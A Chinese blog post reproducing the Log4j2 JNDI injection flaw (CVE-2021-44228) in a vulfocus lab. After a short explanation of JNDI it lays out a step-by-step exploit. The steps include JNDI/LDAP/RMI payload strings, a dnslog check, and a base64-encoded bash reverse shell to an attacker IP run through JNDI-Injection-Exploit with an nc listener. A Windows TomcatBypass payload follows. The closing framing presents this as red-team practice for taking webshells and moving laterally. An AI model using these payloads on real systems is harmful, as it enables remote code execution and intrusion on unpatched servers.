Log4j2远程命令执行复现

Log4j2简述
Apache Log4j 2是对Log4j的升级,它比其前身Log4j 1.x提供了重大改进,并提供了 Logback 
中可用的许多改进,同时修复了 Logback 体系结构中的一些固有问题,几乎每个大型应用程序
都包含自己的日志记录或跟踪而Log4j2重新架构的Log4j并且弥补了其不足。
官方网址介绍:
https://logging.apache.org/log4j/2.x/manual/index.html

在这里插入图片描述

Log4j2漏洞简介
官网版本信息漏洞介绍:
https://logging.apache.org/log4j/2.x/security.html
下面复现是Log4j CVE-2021-44228漏洞该漏洞是Log4j2的JNDI注入漏洞
说明是JNDI:
JNDI(Java Naming and Directory Interface,Java命名和目录接口)是SUN公司提供的一种标准的Java命名系统接口,
JNDI提供统一的客户端API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将JNDI API映射
为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。JNDI注入主要是
用过下载远程class,来运行恶意代码。JNDI注入攻击时常用的就是通过RMI和LDAP两种服务。
JNDI实现原理:
JNDI通过lookup()方法解析接收自应用程序的信息,从而去对应的服务(如LDAP、RMI、DNS、文件系统、目录服务…)
查找资源。

在这里插入图片描述

格式 ${jndi:rmi:192.168.102.66:1099/JJKK}
日志中包含 ${},lookup就会去解析括号里面的内容.
如:攻击payload:${jndi:rmi:192.168.102.66:1099/JJKK}
当lookup解析到jndi时,就会调用jndi并利用rmi,执行攻击机jndi服务下的class文件并执行,从而造成任意命令
执行漏洞通俗来说JNDI就是名字去寻找对应的资源,举个例子在大型项目中更换数据库驱动是一件很麻烦的事情,这个
时候出现了一种通过配置文件进行替换的方式这种就可以理解为JNDI,我们只需要关注数据源就行了JNDI会自动去寻找
配置这个数据源,也可以看成是一个管理部门对目标资源进行统一调配和管理,当访问者需要调配资源时只需要告诉
资源名JNDI就会自己去实现。
Log4j2漏洞利用(Linux Bash Shell反弹Shell)
可以反弹Linux目标shell利用步骤:
	1.打开dnslog.cn使用${jndi:ldap://dnslog}该poc验证漏洞
	2.使用JNDI工具开启弹出shell
	3.触发恶意JNDI注入拿到目标主机shell
靶场说明:
	这里选择了vulfocus靶场的Log4j2远程命令执行(CVE-2021-44228)

在这里插入图片描述

利用步骤1:
	查看页面

在这里插入图片描述

点击链接查看	

在这里插入图片描述

尝试JNDI注入打开dnslog.cn网页请求一个dns

在这里插入图片描述

使用poc进行验证:${jndi:ldap://kbe54t.dnslog.cn}

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

利用步骤2:
	工具准备:https://github.com/bkfish/Apache-Log4j-Learning/tree/main
	JNDI-Injection-Exploit格式:
	java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “命令” -A “ip(攻击机)”
	Bash Shell格式只能反弹目标是Linux的机器Windows的利用方式在下面。
	bash -i >& /dev/tcp/ip/port 0>&1
	需要进行Base64编码一下

在这里插入图片描述

完整JNDI-Injection-Exploit格式:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C bash -c "{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEzOC4xMjkvNjY2NiAwPiYxIA==}|{base64,-d}|{bash,-i}" -A 192.168.138.129

在这里插入图片描述

完整exp:${jndi:rmi://192.168.138.129:1099/wpzmsn}
JNDI的ldap和rmi链接生成成功,下面使用nc监听Bash Shell 6666端口
nc -lvvp 6666

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

Log4j2漏洞利用(Windows 反弹Shell)
这样的靶场环境是Windows下docket跟上述linux靶场一样。

在这里插入图片描述

JNDI利用工具下载:
https://github.com/Jeromeyoung/JNDIExploit-1
已经编译好的jar文件:
https://github.com/Mr-xn/JNDIExploit-1
支持的格式查看:
java -jar JNDIExploit-1.2-SNAPSHOT.jar -u

在这里插入图片描述

参数说明:
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i vps公网地址 -l port -p port //-l 指定ladp服务端口 -p 指定HTTP服务端口

在这里插入图片描述

这里使用TomcatBypass Queries利用方式
ldap://192.168.138.129:7777/TomcatBypass/Command/whoami

在这里插入图片描述

利用exp:

${jndi:ldap://192.168.138.129:7777/TomcatBypass/TomcatEcho}
cmd:whoami

在这里插入图片描述

在这里插入图片描述

总结
本篇文章讲解了Log4j2的常见利用手法,该漏洞影响的范围非常大在护网中经常会使用重大漏洞Get WebShell后续
攻击内网横向移动拿到靶标,后续我会推出李同学红队仿真靶场尽可能的还原护网场景感兴趣的朋友关注下。
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

虚构之人

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值